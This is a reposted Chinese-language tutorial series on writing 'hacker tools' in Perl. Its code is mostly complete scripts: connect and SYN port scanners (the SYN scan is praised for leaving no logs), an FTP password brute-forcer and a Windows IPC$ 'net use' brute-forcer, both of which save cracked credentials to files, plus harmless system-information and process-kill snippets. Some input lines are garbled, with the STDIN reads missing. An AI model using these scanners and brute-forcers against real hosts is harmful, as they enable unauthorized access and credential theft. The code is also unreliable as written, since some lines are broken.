perl打造自己的黑客工具 [转]

学计算机程序的朋友最大的愿望就是能编出一款功能强大的程序,但实现起来却不容易,需要花很多时间来学习计算机语言,今天我就给大家介绍一个好用网络编程语言Practical Extraction and Report Language(perl),严格的说它只是个脚本语言,Perl象C一样强大,象awk、sed等脚本描述语言一样方便。

如果你用的是unix环境那你一定对perl很熟悉了,今天我要谈的是在windows下用perl来打造一个自己满意的程序,如果你学过c语言的话,那你上手一定很快,因为他很c语言很相似。

我们先来看一个简单的程序:

#usr/bin/perl

print "你好!请输入你的名字:";

$name=;

chop($name);

print "$name你好!欢迎你来到perl的世界。\n"

是不是感觉很简单,在也不要用english来对话了。perl为我们提供了很多功能,你只要对这些功能了解,就会很方便的写出让自己满意的程序。

我们先来看看它的网络编程,在perl里面提供了很多模块,我要做的就是调用这些模块来完成自己要做的。我们今天就来学习一个perl打造的Connect扫描器。

#!usr/bin/perl #perl程序开头标式

use IO::Socket; #载如IO::Socket包

print "请输入你要扫描的主机:";

$ARGV[0]=; #从键盘上输入数据到$ARGV[0]

chop($ARGV[0]); #把最后一个字符删除

$host=$ARGV[0];

$file="ports.txt";

open(FILE,"$file")||die "$file端口文件是不是你搞丢了啊?自己重写一个吧\n"; #打开文件

while(@all=){ #循环读取文件中的端口

print"正在扫描$host……\n";

foreach $port (@all){

$sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Timeout=>60); #新建IO::Socket::INET对象 $sock

if($sock){ #判断端口是否打开

print("$host主机->$port端口打开着!\n");$sock->close; #关闭SOCKET对象

}else{

print "$port关闭着!\n";

}

}print("\n");

}print("端口扫描结束,谢谢使用!");

exit 1;

看明白了吗?是不是很容易?这样我们就能对远程主机扫描了,这个connect连接的优点就是速度快,但被主机记录。这个程序只是个单线程的,速度不是很快。下面是demonalex的一个多线程的Connect扫描程序。

#!usr/bin/perl -w

#duo_xian_scan2.pl

use IO::Socket;

use Thread;

@port=(21,23,80);

$ip=$ARGV[0];

foreach $result (@port){

Thread->new(\&sock,$ip,$result);

Thread->self->join;

}

exit 1;

sub sock{

$remote_ip=shift;

$remote_port=shift;

$sock=IO::Socket::INET->new("$remote_ip:$remote_port");

if(defined $sock){

print"***The $remote_ip\'s $remote_port is OPENED!***\n";

$sock->close;

}else{

print"***The $remote_ip\'s $remote_port is CLOSED!***\n";

}

return;

}

这个程序把扫描的一块定义成一个子程序,然后调用多线程的模块,来调用子程序。调试不成功?呵呵,我也没成功,我把Thread->self->join;改成了Thread->join;就成功运行。

好了,今天这个connect扫描器就讲到这里了。

perl打造自己的黑客工具(2)

上一次我们是讲的connect扫描,今天我们讲用perl实现syn扫描,也叫"半开放"扫描,也就是发送一个syn包来探测,由于只没和远程主机完成三次会话,所以一般不会在远程机器上留下记录。

好了,不多说了,看看代码吧。

#usr/bin/perl

use IO::Socket;

use Net::Ping; # 载入模块 print "请输入你要扫描的主机:";

$host=;

chop($host);

$file="ports.txt";

open(FILE,"$file")||die "找不到$file端口文件\n" ; #打开文件

while(@all=){

print"正在扫描……\n";

foreach $port(@all){ #循环读取端口

$syn=Net::Ping->new("syn"); #发送syn包

$syn->{ port_num }=$port; #发送到指定port

$syn->ping($host); #发送到指定host

if($syn->ack){ #判断返回信息

print("$host主机->$port端口打开着!\n");$syn->close;

} }

}print("\n");print("端口扫描结束,谢谢使用!");exit 1;

不要我说太多吧,和原来的程序差不多哦。如果嫌扫描程序不够快,那就把它换成个多线程的啊,呵呵。

            perl打造自己的黑客工具(3)

在第一节我就讲到perl提供了很多模块,我们只要会调用这些模块我们就可以写出自己的网络应用程序,今天我就来介绍一个perl写的ftp猜解器。原理很简单,利用perl的模块与远程主机建立连接,如果成功就显示破解成功,没成功则继续利用下一个用户和密码猜解。

#usr/bin/perl

use NET::FTP;

print "请输入你要猜解的主机:";

$host=;

print "开始暴力破解……";

$file1="FTPUSER";

$file2="FTPPASS";

open(FILE,"$file1")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开用户名文件

while(@user=){

foreach $user(@user){ #循环读取用户名

chop($user);

open(FILE,"$file2")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开密码文件

while(@password=){

foreach $password(@password){ #循环读取密码 chop($password);

print "\n";

print "\n";

$ftp=Net::FTP->new($host) || die "连接不上远程计算机!\n" ; #与远程主机建立连接

print "正在破解$user->$password\n";

if($ftp){

$a=$ftp->login($user,$password); #发送用户名和密码

$ftp->quit; # 退出ftp会话

if ($a==1)

{

print "恭喜你!发现弱口令! 用户名$user 密码:$password\n";

open (H,">>ftpscan.txt")||die "打不开ftpscan.txt\n"; #打开文件将破解好的用户和密码放进去

print H "主机$host用户名:$user 密码:$password \n";

close H;

}

}

}

}

}

}

print "结果已写入ftpscan.txt文件请查看\n";

又是一个简单的例子,你是不是觉得自己突然强大起来了?呵呵。

perl打造自己的黑客工具(4)

前面几篇我们都是利用perl模块来实现任务的,今天我们就用perl调用系统命令来实现IPC$远程猜解,适合win2k以上的系统。代码也十分简单。

#usr/bin/perl

print "请输入要猜解的IP:";

$host=;

chop($host);

$file1="NT_USER";

$file2="NT_PASS";

open(FILE,"$file1")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;

while(@user=){

foreach $name(@user){

open(FILE,"$file2")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;

while(@pass=){

foreach $password(@pass){

chop($password);

print ("正在尝试$name$password\n"); #从这里往上不要我解释了吧

$check=system ("net use \\\\$host\\ipc\$ $password /user:$name"); #调用perl函数,执行系统命令

if(!$check) { #判断连接是否成功

system ("net use \\\\$host\\ipc\$ /del"); #成功连接后就删除连接,并打开文件写入

open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";

print H "主机$host用户名:$name 密码:$password \n";

close H;

}

}

}

}

}

print "结果已写入ipcscan.txt文件请查看\n";

好了,是不是很简单,发挥你的想象,自己也创造一个自己需要的工具。

  perl打造自己的黑客工具(5)

perl也提供了api函数调用,这样我们可以在为自己的软件添加一些功能了,我这里主要是介绍得到系统信息的。调用api函数还能实现很多功能,比如删除日志,终止进程,具体的参考perl的帮助吧。

现在我们来看看我是这样获得系统信息的。

#usr/bin/perl

use Win32API::Registry 0.21 qw( :ALL );

use Sys::Hostname;

$host=hostname;

print "主机名:$host\n";

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "VendorIdentifier", [], [], $data, [] );

printf "CPU信息:$data ";

RegQueryValueEx( $key, "ProcessorNameString", [], [], $data, [] );

printf "$data\n";

RegCloseKey( $Key );

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "SystemBiosVersion", [], [], $data, [] );

printf "BIOS信息:$data\n";

RegCloseKey( $Key );

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "Identifier", [], [], $data, [] );

printf "硬盘信息:$data\n";

RegCloseKey( $Key );

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\Class\\{ 4D36E968-E325-11CE-BFC1-08002BE10318 }\\0000", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "DriverDesc", [], [], $data, [] );

printf "显卡信息:$data ";

RegQueryValueEx( $key, "DriverVersion", [], [], $data, [] );

printf "版本:$data\n";

RegCloseKey( $Key );

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "ProductName", [], [], $data, [] );

printf "操作系统:$data ";

RegQueryValueEx( $key, "CurrentVersion", [], [], $data, [] );

printf "$data.";

RegQueryValueEx( $key, "CurrentBuildNumber", [], [], $data, [] );

printf "$data ";

RegQueryValueEx( $key, "CSDVersion", [], [], $data, [] );

printf "$data\n";

RegQueryValueEx( $key, "RegisteredOwner", [], [], $data, [] );

printf "注册到:$data ";

RegQueryValueEx( $key, "RegisteredOrganization", [], [], $data, [] );

printf " $data ";

RegQueryValueEx( $key, "ProductId", [], [], $data, [] );

printf " $data\n";

RegQueryValueEx( $key, "SystemRoot", [], [], $data, [] );

printf "系统根目录:$data\n";

RegCloseKey( $Key );

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "Version", [], [], $data, [] );

printf "IE版本:IE $data\n";

RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 1\\Logical Unit Id 0", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";

RegQueryValueEx( $key, "Identifier", [], [], $data, [] );

printf "光驱信息:$data\n";

RegCloseKey( $Key );

exit 1;

这个程序,是调用了注册表来得到信息,非常容易。

#!/usr/bin/perl

use Win32::kernel32;

use win32;

use win32::api;

use Win32API::File 0.08 qw( :ALL );

$olOutLength= GetLogicalDriveStrings(4*26+1, $osBuffer );

print "本机器上有:\n";

printf "$osBuffer\n";

print "请输入需要查看的分区(注意加'\\'!):";

$disk=;

chop($disk);

$free = Win32::GetDiskFreeSpace("$disk");

$a=$free/1024;

printf "此分区有$a KB空余\n";

$type=Win32::GetDriveType($disk);

if($type==0){ printf "分区类型:UNKNOWN\n"; }

if($type==1){ printf "分区类型:The root directory does not exist\n"; }

if($type==2){ printf "分区类型:A floppy drive\n"; }

if($type==3){ printf "分区类型:A fixed drive\n"; }

if($type==4){ printf "分区类型:A remote (network) drive\n"; }

if($type==5){ printf "分区类型:A CD-ROM drive\n"; }

if($type==6){ printf "分区类型:A RAM disk\n"; }

if($type<0){ printf "UNKNOWN\n"; }

if($type>6){ printf "UNKNOWN\n"; }

GetVolumeInformation( $disk, $osVolName, $lVolName, $ouSerialNum, $ouMaxNameLen, $ouFsFlags, $osFsType, $lFsType );

printf "卷标名:$osVolName\n";

printf "序列号:$ouSerialNum\n";

printf "文件系统:$osFsType\n";

这个程序是获得系统的磁盘信息的,具体看perl的帮助。

#!/usr/bin/perl

print "输入要杀进程的PID:";

$listid=;

chop($listid);

$a=kill(9,$listid);

if($a){ print "关闭$listid进程成功"; }

else{

print "关闭$listid进程失败"; }exit;

这个小小的程序可以查杀一些普通的进程。